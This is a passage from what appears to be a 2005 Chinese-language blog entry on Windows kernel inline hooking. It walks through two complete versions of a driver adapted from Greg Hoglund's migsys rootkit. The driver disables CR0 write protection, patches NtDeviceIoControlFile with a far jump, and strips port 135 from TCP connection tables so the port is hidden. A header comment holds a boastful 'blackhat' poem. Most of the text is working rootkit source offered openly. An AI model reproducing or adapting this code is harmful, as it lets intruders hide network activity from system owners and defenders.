	PLIST_ENTRY plist_active_procs;

	if (terminate_PID == 0)
		return terminate_PID;

	eproc = (DWORD) PsGetCurrentProcess();
	start_PID = *((DWORD*)(eproc+PIDOFFSET));
	current_PID = start_PID;

	while(1)
	{
		if(terminate_PID == current_PID)
			return eproc;
		else if((i_count >= 1) && (start_PID == current_PID))
		{
			return 0x00000000;
		}
		else {
			plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);
			eproc = (DWORD) plist_active_procs->Flink;
			eproc = eproc - FLINKOFFSET;
			current_PID = *((int *)(eproc+PIDOFFSET));
			i_count++;
		}
	}
}
//--------------------------------------------------------------------
2005年10月10日

昨天的inline hook 是在程序的最开始的前5字节改成jmp xxxx,缺点是太容易被发现,当然可以用变形的方法来替换jmp,比如push xxxx,ret 其他的很多方法,但昨天就考虑到除了变形外还可以把改写的位置放在其他位置上,比如从被hook的函数开始的第8个字节的几个字节改写成jmp xxxx,位置是不固定的,要看具体情况而定,比如NtDeviceIoControlFile,

nt!NtDeviceIoControlFile:
805997c4 55               push    ebp
805997c5 8bec             mov     ebp,esp
805997c7 6a01             push    0×1
805997c9 ff752c           push    dword ptr [ebp+0x2c]
805997cc ff7528           push    dword ptr [ebp+0x28]
805997cf ff7524           push    dword ptr [ebp+0x24]
805997d2 ff7520           push    dword ptr [ebp+0x20]
805997d5 ff751c           push    dword ptr [ebp+0x1c]
805997d8 ff7518           push    dword ptr [ebp+0x18]
805997db ff7514           push    dword ptr [ebp+0x14]
805997de ff7510           push    dword ptr [ebp+0x10]
805997e1 ff750c           push    dword ptr [ebp+0xc]
805997e4 ff7508           push    dword ptr [ebp+0x8]
805997e7 e8e731ffff       call    nt!IopXxxControlFile (8058c9d3)
805997ec 5d               pop     ebp
805997ed c22800           ret     0×28
805997f0 0f862334ffff     jbe     nt!IopXxxControlFile+0×570 (8058cc19)
 
前面这么多push 语句都可以用来改成jmp xxxx或类似的语句,直要不让它执行到cAll就行了,,因为一但cAll就做出了很多操作,不好往回改了
比如选定
805997cc ff7528           push    dword ptr [ebp+0x28]
805997cf ff7524           push    dword ptr [ebp+0x24]
805997d2 ff7520           push    dword ptr [ebp+0x20]
这9个字节改写为0xEA, 0×44, 0×33, 0×22, 0×11, 0×08, 0×00, 0×90,0×90 11223344被换成我们的函数的地址,一定要用整数条语句的空间
当调用NtDeviceIoControlFile后跳转到我们的函数时,实际上已经执行了这几条语句了
805997c4 55               push    ebp
805997c5 8bec             mov     ebp,esp
805997c7 6a01             push    0×1
805997c9 ff752c           push    dword ptr [ebp+0x2c]
所以要执行对应相反的语句来恢复堆栈
__asm
{
	add esp,8
	mov esp,ebp
	pop ebp
}
然后和原来的方法一样模拟cAll NtDeviceIoControlFile的过程,把丢掉的语句都补上,代码如下
/////////////////////////////////////////////////////////////////////////
// migsys, kernel part of m1gB0t, Greg Hoglund, 2004
//
// I got the blackhat style
// my code is evil and elite
// with capitalized guile
// fuckn the welfare vendors
// and their mothefuckin deceit
// hide behind the mask of good-will-defender
// I cut like a file
// slow hone on your vulns
// This aint no fuzz
// This is deeper
// I'm in your states
// like the motherfukn Reaper
// You want something for free?
// pay naught for my pursuit?
// my mission occupation
// gonna put me in refute
// your gonna come along
// cuz this is bigger than you
// its gonna take you by balls
// your paybacks are due
/////////////////////////////////////////////////////////////////////////

#include <ntddk.h>
#include "hideport_hook_ZwDeviceIoControlFile.h"

NTSYSAPI
NTSTATUS
NTAPI
NtDeviceIoControlFile(
					  IN HANDLE hFile,
					  IN HANDLE hEvent OPTIONAL,
					  IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
					  IN PVOID IoApcContext OPTIONAL,
					  OUT PIO_STATUS_BLOCK pIoStatusBlock,
					  IN ULONG DeviceIoControlCode,
					  IN PVOID InBuffer OPTIONAL,
					  IN ULONG InBufferLength,
					  OUT PVOID OutBuffer OPTIONAL,
					  IN ULONG OutBufferLength
					  );

NTSTATUS CheckFunctionBytesNtDeviceIoControlFile()
{
	int i=0;
	char *p = (char *)NtDeviceIoControlFile;

	//The beginning of the NtDeviceIoControlFile function
	//should match:
	//55  PUSH EBP
	//8BEC  MOV EBP, ESP
	//6A01  PUSH 01
	//FF752C PUSH DWORD PTR [EBP + 2C]

	char c[] = { 0x55, 0x8B, 0xEC, 0x6A, 0x01, 0xFF, 0x75, 0x2C };

	while(i<8)
	{
		DbgPrint(" - 0x%02X ", (unsigned char)p[i]);
		DbgPrint("\n");
		if(p[i] != c[i])
		{
			return STATUS_UNSUCCESSFUL;
		}
		i++;
	}
	return STATUS_SUCCESS;
}

// naked functions have no prolog/epilog code - they are functionally like the
// target of a goto statement
__declspec(naked) my_function_detour_ntdeviceiocontrolfile(IN HANDLE FileHandle,
						IN HANDLE Event OPTIONAL,
						IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
						IN PVOID ApcContext OPTIONAL,
						OUT PIO_STATUS_BLOCK IoStatusBlock,
						IN ULONG IoControlCode,
						IN PVOID InputBuffer OPTIONAL,
						IN ULONG InputBufferLength,
						OUT PVOID OutputBuffer OPTIONAL,
						IN ULONG OutputBufferLength
						)
{ 

	NTSTATUS rc;
	TCP_REQUEST_QUERY_INFORMATION_EX req;
	TCPAddrEntry* TcpTable;// = NULL;
	TCPAddrExEntry* TcpExTable;// = NULL;
	ULONG numconn;
	ULONG i;
	__asm
	{
		add esp,8
		mov esp,ebp
		pop ebp
	}

	__asm
	{
		push ebp
		mov ebp,esp
	}

	DbgPrint("hooked\n");

	__asm
	{
		push OutputBufferLength
		push OutputBuffer
		push InputBufferLength
		push InputBuffer
		push IoControlCode
		push IoStatusBlock
		push ApcContext
		push ApcRoutine
		push Event
		push FileHandle
	}
	__asm
	{
		//int 3
		jmp forwArd
bAck:

	}

	__asm
	{
		// exec missing instructions
			push ebp
			mov  ebp, esp
			push 0x01
			push dword ptr [ebp+0x2C]
			push dword ptr [ebp+0x28]
			push dword ptr [ebp+0x24]
			push dword ptr [ebp+0x20]

			// jump to re-entry location in hooked function
			// this gets 'stamped' with the correct address
			// at runtime.
			//
			// we need to hard-code a far jmp, but the assembler
			// that comes with the DDK will not poop this out
			// for us, so we code it manually
			// jmp FAR 0x08:0xAAAAAAAA
			_emit 0xEA
			_emit 0xAA
			_emit 0xAA
			_emit 0xAA
			_emit 0xAA
			_emit 0x08
			_emit 0x00
	}
//////////////////////////
	__asm
	{
forwArd:
		call bAck
	}
	DbgPrint("once here :>\n");
	__asm
	{
		mov rc,eax
	}
	TcpTable = NULL;
	TcpExTable = NULL; 

	if(IoControlCode != IOCTL_TCP_QUERY_INFORMATION_EX){
		//return(rc);
		__asm
		{
			mov esp,ebp
			pop ebp
			mov eax,rc
			ret 0x28
		}
	} 

	if( NT_SUCCESS( rc ) ) {
		req.ID.toi_entity.tei_entity = CO_TL_ENTITY;
		req.ID.toi_entity.tei_instance = 0;
		req.ID.toi_class = INFO_CLASS_PROTOCOL;
		req.ID.toi_type = INFO_TYPE_PROVIDER;
		req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_ID; 

		if( sizeof(TDIObjectID) == RtlCompareMemory( InputBuffer, &req, sizeof(TDIObjectID) ) )
		{
			numconn = IoStatusBlock->Information/sizeof(TCPAddrEntry);
			TcpTable = (TCPAddrEntry*)OutputBuffer; 

			for( i=0; i<numconn; i++ ){
				if( ntohs(TcpTable[i].tae_ConnLocalPort) == 135 ) {
					//判断是否是最后一个
					if (i != numconn -1){
						RtlCopyMemory( (TcpTable+i), (TcpTable+i+1), ((numconn-i-1)*sizeof(TCPAddrEntry)) );
						numconn--;
						i--;
					}else{
						numconn--;
					}
				}
			}
			IoStatusBlock->Information = numconn*sizeof(TCPAddrEntry);
			//return(rc);
			__asm
			{
				mov esp,ebp
				pop ebp
				mov eax,rc
				ret 0x28
			}
		} 

		req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_EX_ID; 

		if( sizeof(TDIObjectID) == RtlCompareMemory( InputBuffer, &req, sizeof(TDIObjectID) ) ) {
			numconn = IoStatusBlock->Information/sizeof(TCPAddrExEntry);
			TcpExTable = (TCPAddrExEntry*)OutputBuffer; 

			for( i=0; i<numconn; i++ ) {
				if( ntohs(TcpExTable[i].tae_ConnLocalPort) == 135 ) {
					if (i != numconn){
						RtlCopyMemory( (TcpExTable+i), (TcpExTable+i+1), ((numconn-i-1)*sizeof(TCPAddrExEntry)) );
						numconn--;
						i--;
					}else{
						numconn--;
					}
				}
			} 

			IoStatusBlock->Information = numconn*sizeof(TCPAddrExEntry);
			//return(rc);
			__asm
			{
				mov esp,ebp
				pop ebp
				mov eax,rc
				ret 0x28
			}
		}
	} 

	//return(rc);
	__asm
	{
		mov esp,ebp
		pop ebp
		mov eax,rc
		ret 0x28
	}

}
//--------------------------------------------------------------------
VOID DetourFunctionNtDeviceIoControlFile()
{
	char *actual_function = (char *)NtDeviceIoControlFile;
	unsigned long detour_address;
	unsigned long reentry_address;
	int i = 0;

	// assembles to jmp far 0008:11223344 where 11223344 is address of
	// our detour function, plus one NOP to align up the patch
	char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90,0x90 };

	// reenter the hooked function at a location past the overwritten opcodes
	// alignment is, of course, very important here
	reentry_address = ((unsigned long)NtDeviceIoControlFile) + 17; 

	detour_address = (unsigned long)my_function_detour_ntdeviceiocontrolfile;

	// stamp in the target address of the far jmp
	*( (unsigned long *)(&newcode[1]) ) = detour_address;

	// now, stamp in the return jmp into our detour
	// function
	for(i=0;i<200;i++)
	{
		if( (0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i]) &&
			(0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i+1]) &&
			(0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i+2]) &&
			(0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i+3]))
		{
			// we found the address 0xAAAAAAAA
			// stamp it w/ the correct address
			*( (unsigned long *)(&((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i]) ) = reentry_address;
			break;
		}
	}

	//TODO, raise IRQL

	//overwrite the bytes in the kernel function
	//to apply the detour jmp
	_asm
	{
		CLI //dissable interrupt
		MOV EAX, CR0 //move CR0 register into EAX
		AND EAX, NOT 10000H //disable WP bit
		MOV CR0, EAX //write register back
	}
	for(i=8;i < 17;i++)
	{
		actual_function[i] = newcode[i-8];
	}
	_asm
	{
		MOV EAX, CR0 //move CR0 register into EAX
		OR EAX, 10000H //enable WP bit
		MOV CR0, EAX //write register back
		STI //enable interrupt
	} 

	//TODO, drop IRQL
}

VOID UnDetourFunction()
{
	//TODO!
}

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
	DbgPrint("My Driver Unloaded!\n");

	UnDetourFunction();
}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
	DbgPrint("My Driver Loaded!");

	// TODO!! theDriverObject->DriverUnload = OnUnload;

	if(STATUS_SUCCESS != CheckFunctionBytesNtDeviceIoControlFile())
	{
		DbgPrint("Match Failure on NtDeviceIoControlFile!\n");
		return STATUS_UNSUCCESSFUL;
	}

	DetourFunctionNtDeviceIoControlFile();

	return STATUS_SUCCESS;
}
顺便说一下,虽然程序可以运行,结果正确,但会让系统变的很慢,cpu占用在和网络通讯的几个程序上,包括什么事情都不做的
migsys.sys,,原因还在查,正在郁闷中….难到是这种inline hook都这个鸟样? 草
在user mode的inline hook比较好用,因为很少有多线程的问题,所以可以采用把API前5字节改为跳转指令到自己的函数中,然后再改回原来的5
个字节,调用原函数后在把前5个字节改为跳转指令为下次做好准备,过程大概如下
 
修改API前5字节为jmp xxxx(指向myAPI()),  1
        |
        |
     当调用API API()                   2
        |
        |
   跳转到xxxx(自己的函数) myAPI()      3
        |
        |
   (myAPI()中)改回原来的5字节          4
        |
        |
   (myAPI()中 自定义一些操作)          5
        |
        |
   (myAPI()中)调用API()               6
        |
        |
   (myAPI()中 自定义一些操作)          7
        |
        |
   (myAPI()中)再次修改API前5字节为jmp xxxx(指向myAPI())        8
        |
        |
       结束                                                   9
 
这个过程在kernel就不那么方便了,很不稳定,因为系统服务是整个windows都会经常调用,n多线程,如果一个线程调用了被hook的系统服务,当运行到
4–8之间的时候,线程被切换,另一个线程再次调用相同的系统服务时就会出现系统服务没被hook的情况.如果正好在执行到4或8的时候被中断,在其他
线程调用系统服务的时候就可能是BSOD了 :)  如果说是提高irql或block其他线程,总不能每次都那样吧 听说是这样的hook很不稳定,自己倒还没试
过,不知道实际情况到底怎样
 
看到了Greg Hoglund的migsys.sys 的确是个好程序,里面的hook只需要改写一次就可以一直hook,稳定性很好,我在虚拟机上实验,没问题,不过扁要
赶上改写那一次的时候被中断….哎 只能说点背
migsys.c里在驱动加载后改写系统服务的前5个字节跳转到自己给出的hook 函数中,拿NtDeviceIoControlFile为例,hook函数为
// We read this function into non-paged memory
// before we place the detour.  It seems that the
// driver code gets paged now and then, which is bad
// for children and other living things.
__declspec(naked) my_function_detour_ntdeviceiocontrolfile()
{
	__asm
	{
		// exec missing instructions
		push ebp
			mov  ebp, esp
			push 0x01
			push dword ptr [ebp+0x2C]

			// jump to re-entry location in hooked function
			// this gets 'stamped' with the correct address
			// at runtime.
			//
			// we need to hard-code a far jmp, but the assembler
			// that comes with the DDK will not poop this out
			// for us, so we code it manually
			// jmp FAR 0x08:0xAAAAAAAA
			_emit 0xEA
			_emit 0xAA
			_emit 0xAA
			_emit 0xAA
			_emit 0xAA
			_emit 0x08
			_emit 0x00
	}
}
注意到
__emit 0xEA
__emit 0xAA
__emit 0xAA
__emit 0xAA
__emit 0xAA
__emit 0×08
__emit 0×00
这是一句跳转语句 jmp 0008:AAAAAAAA
在驱动开始的时候就会寻找AAAAAAAA,把这里改写为被hook的NtDeviceIoControlFile+8的位置,这样在系统调用NtDeviceIoControlFile直接jmp到my_function_detour_ntdeviceiocontrolfile,接着执行
push ebp,esp
push 0×01
push dword ptr [ebp+0x2c]  (共8字节,不同版本windows的函数可能会有变化)
接下来jmp到NtDeviceIoControlFile+8,由于my_function_detour_ntdeviceiocontrolfile是__declspec(naked),
所以在进入后堆栈不会被改变,相当于执行了一个完整的NtDeviceIoControlFile.只不过前8个字节执行的地方不同 :>
我们可以在 push ebp前直接做些我们要的操作,可以用局部变量,调用函数,对传入NtDeviceIoControlFile的参数做处
理或者过滤之类的操作.
    但对于hook NtDeviceIoControlFile来实现隐藏端口和连接,我们是在调用成功后对结果进行过滤,而在jmp到NtDeviceIoControlFile+8后,我们就交出了程序的控制权.所以必须要让它执行完后再次转到我们的程序里.如果执行后
要返回的话,就要用cAll指令,但cAll NtDeviceIoControlFile+8是不行的,被压入栈的返回地址放在了进栈的ebp的后
面,乱了.这个办法行不通.
    肯定会有不同的方法来完成,我现在只想到了一个,并且希望让编译器帮着做大部分事,,我只用c就好了 ;)
模仿这种:
NTSTATUS NTAPI myNtDeviceIoControlFile(
	                            IN HANDLE FileHandle,
	                            IN HANDLE Event OPTIONAL,
	                            IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
	                            IN PVOID ApcContext OPTIONAL,
			       OUT PIO_STATUS_BLOCK IoStatusBlock,
                                       IN ULONG IoControlCode,
			       IN PVOID InputBuffer OPTIONAL,
			       IN ULONG InputBufferLength,
			       OUT PVOID OutputBuffer OPTIONAL,
			       IN ULONG OutputBufferLength
			        )
{
	NTSTATUS rc;
	rc = NtDeviceIoControlFile(
		FileHandle,
		Event,
		ApcRoutine,
		ApcContext,
		IoStatusBlock,
		IoControlCode,
		InputBuffer,
		InputBufferLength,
		OutputBuffer,
		OutputBufferLength
		);
...
}
然后我们可以对返回值做一些操作,就相当在我们的函数里调用了NtDeviceIoControlFile
NtDeviceIoControlFile有10个参数,调用时堆栈应该是这个样
Arg10
Arg9
Arg8
Arg7
Arg6
Arg5
Arg4
Arg3
Arg2
Arg1
ret Address
因为在系统调用的时候就已经压好了参数,所以我们的hook函数就不能自己再做了,要声名__declspec(naked),参数要和原函数一致.进入后模拟
cAll NtDeviceIoControlFile
__asm
{
	push OutputBufferLength
	push OutputBuffer
	push InputBufferLength
	push InputBuffer
	push IoControlCode
	push IoStatusBlock
	push ApcContext
	push ApcRoutine
	push Event
	push FileHandle
}
然后是ret Address,这个需要在运行时确定,用到了病毒中常用的定位的方法:
    cAll forwArd:
bAck:
    pop eAx
    …
forwArd:
    jmp bAck:
 
得到pop eAx所在的位置
在我们的程序中:
__asm
{
	//int 3
	jmp forwArd
bAck:

}

__asm
{
	// exec missing instructions
	push ebp
		mov  ebp, esp
		push 0x01
		push dword ptr [ebp+0x2C]

		// jump to re-entry location in hooked function
		// this gets 'stamped' with the correct address
		// at runtime.
		//
		// we need to hard-code a far jmp, but the assembler
		// that comes with the DDK will not poop this out
		// for us, so we code it manually
		// jmp FAR 0x08:0xAAAAAAAA
		_emit 0xEA
		_emit 0xAA
		_emit 0xAA
		_emit 0xAA
		_emit 0xAA
		_emit 0x08
		_emit 0x00
}
//////////////////////////
__asm
{
forwArd:
	call bAck
}

 实现了一个完整的cAll NtDeviceIoControlFile :>

 
全部程序,隐藏135端口,隐藏部分参考jiurl的程序
/////////////////////////////////////////////////////////////////////////
// migsys, kernel part of m1gB0t, Greg Hoglund, 2004
//
// I got the blackhat style
// my code is evil and elite
// with capitalized guile
// fuckn the welfare vendors
// and their mothefuckin deceit
// hide behind the mask of good-will-defender
// I cut like a file
// slow hone on your vulns
// This aint no fuzz
// This is deeper
// I'm in your states
// like the motherfukn Reaper
// You want something for free?
// pay naught for my pursuit?
// my mission occupation
// gonna put me in refute
// your gonna come along
// cuz this is bigger than you
// its gonna take you by balls
// your paybacks are due
/////////////////////////////////////////////////////////////////////////

#include <ntddk.h>
#include "hideport_hook_ZwDeviceIoControlFile.h"

NTSYSAPI
NTSTATUS
NTAPI
NtDeviceIoControlFile(
					  IN HANDLE hFile,
					  IN HANDLE hEvent OPTIONAL,
					  IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
					  IN PVOID IoApcContext OPTIONAL,
					  OUT PIO_STATUS_BLOCK pIoStatusBlock,
					  IN ULONG DeviceIoControlCode,
					  IN PVOID InBuffer OPTIONAL,
					  IN ULONG InBufferLength,
					  OUT PVOID OutBuffer OPTIONAL,
					  IN ULONG OutBufferLength
					  );

NTSTATUS CheckFunctionBytesNtDeviceIoControlFile()
{
	int i=0;
	char *p = (char *)NtDeviceIoControlFile;

	//The beginning of the NtDeviceIoControlFile function
	//should match:
	//55  PUSH EBP
	//8BEC  MOV EBP, ESP
	//6A01  PUSH 01
	//FF752C PUSH DWORD PTR [EBP + 2C]

	char c[] = { 0x55, 0x8B, 0xEC, 0x6A, 0x01, 0xFF, 0x75, 0x2C };

	while(i<8)
	{
		DbgPrint(" - 0x%02X ", (unsigned char)p[i]);
		DbgPrint("\n");
		if(p[i] != c[i])
		{
			return STATUS_UNSUCCESSFUL;
		}
		i++;
	}
	return STATUS_SUCCESS;
}

// naked functions have no prolog/epilog code - they are functionally like the
// target of a goto statement
__declspec(naked) my_function_detour_ntdeviceiocontrolfile(IN HANDLE FileHandle,
					           IN HANDLE Event OPTIONAL,
						IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
						IN PVOID ApcContext OPTIONAL,
						OUT PIO_STATUS_BLOCK IoStatusBlock,
						IN ULONG IoControlCode,
						IN PVOID InputBuffer OPTIONAL,
						IN ULONG InputBufferLength,
						OUT PVOID OutputBuffer OPTIONAL,
						IN ULONG OutputBufferLength
						)
{ 

	NTSTATUS rc;
	TCP_REQUEST_QUERY_INFORMATION_EX req;
	TCPAddrEntry* TcpTable;// = NULL;
	TCPAddrExEntry* TcpExTable;// = NULL;
	ULONG numconn;
	ULONG i;
	__asm
	{
		push ebp
		mov ebp,esp
	}

	DbgPrint("hooked\n");

	__asm
	{
		push OutputBufferLength
		push OutputBuffer
		push InputBufferLength
		push InputBuffer
		push IoControlCode
		push IoStatusBlock
		push ApcContext
		push ApcRoutine
		push Event
		push FileHandle
	}
	__asm
	{
		//int 3
		jmp forwArd
bAck:

	}

	__asm
	{
		// exec missing instructions
			push ebp
			mov  ebp, esp
			push 0x01
			push dword ptr [ebp+0x2C]

			// jump to re-entry location in hooked function
			// this gets 'stamped' with the correct address
			// at runtime.
			//
			// we need to hard-code a far jmp, but the assembler
			// that comes with the DDK will not poop this out
			// for us, so we code it manually
			// jmp FAR 0x08:0xAAAAAAAA
			_emit 0xEA
			_emit 0xAA
			_emit 0xAA
			_emit 0xAA
			_emit 0xAA
			_emit 0x08
			_emit 0x00
	}
//////////////////////////
	__asm
	{
forwArd:
		call bAck
	}
	DbgPrint("once here :>\n");
	__asm
	{
		mov rc,eax
	}
	TcpTable = NULL;
	TcpExTable = NULL; 

	if(IoControlCode != IOCTL_TCP_QUERY_INFORMATION_EX){
		//return(rc);
		__asm
		{
			mov esp,ebp
			pop ebp
			mov eax,rc
			ret 0x28
		}
	} 

	if( NT_SUCCESS( rc ) ) {
		req.ID.toi_entity.tei_entity = CO_TL_ENTITY;
		req.ID.toi_entity.tei_instance = 0;
		req.ID.toi_class = INFO_CLASS_PROTOCOL;
		req.ID.toi_type = INFO_TYPE_PROVIDER;
		req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_ID; 

		if( sizeof(TDIObjectID) == RtlCompareMemory( InputBuffer, &req, sizeof(TDIObjectID) ) )
		{
			numconn = IoStatusBlock->Information/sizeof(TCPAddrEntry);
			TcpTable = (TCPAddrEntry*)OutputBuffer; 

			for( i=0; i<numconn; i++ ){
				if( ntohs(TcpTable[i].tae_ConnLocalPort) == 135 ) {
					//判断是否是最后一个
					if (i != numconn -1){
						RtlCopyMemory( (TcpTable+i), (TcpTable+i+1), ((numconn-i-1)*sizeof(TCPAddrEntry)) );
						numconn--;
						i--;
					}else{
						numconn--;
					}
				}
			}
			IoStatusBlock->Information = numconn*sizeof(TCPAddrEntry);
			//return(rc);
			__asm
			{
				mov esp,ebp
				pop ebp
				mov eax,rc
				ret 0x28
			}
		} 

		req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_EX_ID; 

		if( sizeof(TDIObjectID) == RtlCompareMemory( InputBuffer, &req, sizeof(TDIObjectID) ) ) {
			numconn = IoStatusBlock->Information/sizeof(TCPAddrExEntry);
			TcpExTable = (TCPAddrExEntry*)OutputBuffer; 

			for( i=0; i<numconn; i++ ) {
				if( ntohs(TcpExTable[i].tae_ConnLocalPort) == 135 ) {
					if (i != numconn){
						RtlCopyMemory( (TcpExTable+i), (TcpExTable+i+1), ((numconn-i-1)*sizeof(TCPAddrExEntry)) );
						numconn--;
						i--;
					}else{
						numconn--;
					}
				}
			} 

			IoStatusBlock->Information = numconn*sizeof(TCPAddrExEntry);
			//return(rc);
			__asm
			{
				mov esp,ebp
				pop ebp
				mov eax,rc
				ret 0x28
			}
		}
	} 

	//return(rc);
	__asm
	{
		mov esp,ebp
		pop ebp
		mov eax,rc
		ret 0x28
	}

}
//--------------------------------------------------------------------
VOID DetourFunctionNtDeviceIoControlFile()
{
	char *actual_function = (char *)NtDeviceIoControlFile;
	unsigned long detour_address;
	unsigned long reentry_address;
	int i = 0;

	// assembles to jmp far 0008:11223344 where 11223344 is address of
	// our detour function, plus one NOP to align up the patch
	char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90 };

	// reenter the hooked function at a location past the overwritten opcodes
	// alignment is, of course, very important here
	reentry_address = ((unsigned long)NtDeviceIoControlFile) + 8; 

	detour_address = (unsigned long)my_function_detour_ntdeviceiocontrolfile;

	// stamp in the target address of the far jmp
	*( (unsigned long *)(&newcode[1]) ) = detour_address;

	// now, stamp in the return jmp into our detour
	// function
	for(i=0;i<200;i++)
	{
		if( (0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i]) &&
			(0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i+1]) &&
			(0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i+2]) &&
			(0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i+3]))
		{
			// we found the address 0xAAAAAAAA
			// stamp it w/ the correct address
			*( (unsigned long *)(&((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i]) ) = reentry_address;
			break;
		}
	}

	//TODO, raise IRQL

	//overwrite the bytes in the kernel function
	//to apply the detour jmp
	_asm
	{
		CLI //dissable interrupt
		MOV EAX, CR0 //move CR0 register into EAX
		AND EAX, NOT 10000H //disable WP bit
		MOV CR0, EAX //write register back
	}
	for(i=0;i < 8;i++)
	{
		actual_function[i] = newcode[i];
	}
	_asm
	{
		MOV EAX, CR0 //move CR0 register into EAX
		OR EAX, 10000H //enable WP bit
		MOV CR0, EAX //write register back
		STI //enable interrupt
	} 

	//TODO, drop IRQL
}

VOID UnDetourFunction()
{
	//TODO!
}

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
	DbgPrint("My Driver Unloaded!\n");

	UnDetourFunction();
}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
	DbgPrint("My Driver Loaded!");

	// TODO!! theDriverObject->DriverUnload = OnUnload;

	if(STATUS_SUCCESS != CheckFunctionBytesNtDeviceIoControlFile())
	{
		DbgPrint("Match Failure on NtDeviceIoControlFile!\n");
		return STATUS_UNSUCCESSFUL;
	}

	DetourFunctionNtDeviceIoControlFile();

	return STATUS_SUCCESS;
}
需要说明的地方就是,hook函数开始的地方也维护了堆栈,否则在用局部变量的时候会有问题,另外声名__declspec(naked)的函数是不能用return语句的,因此这个工作得自己做 :>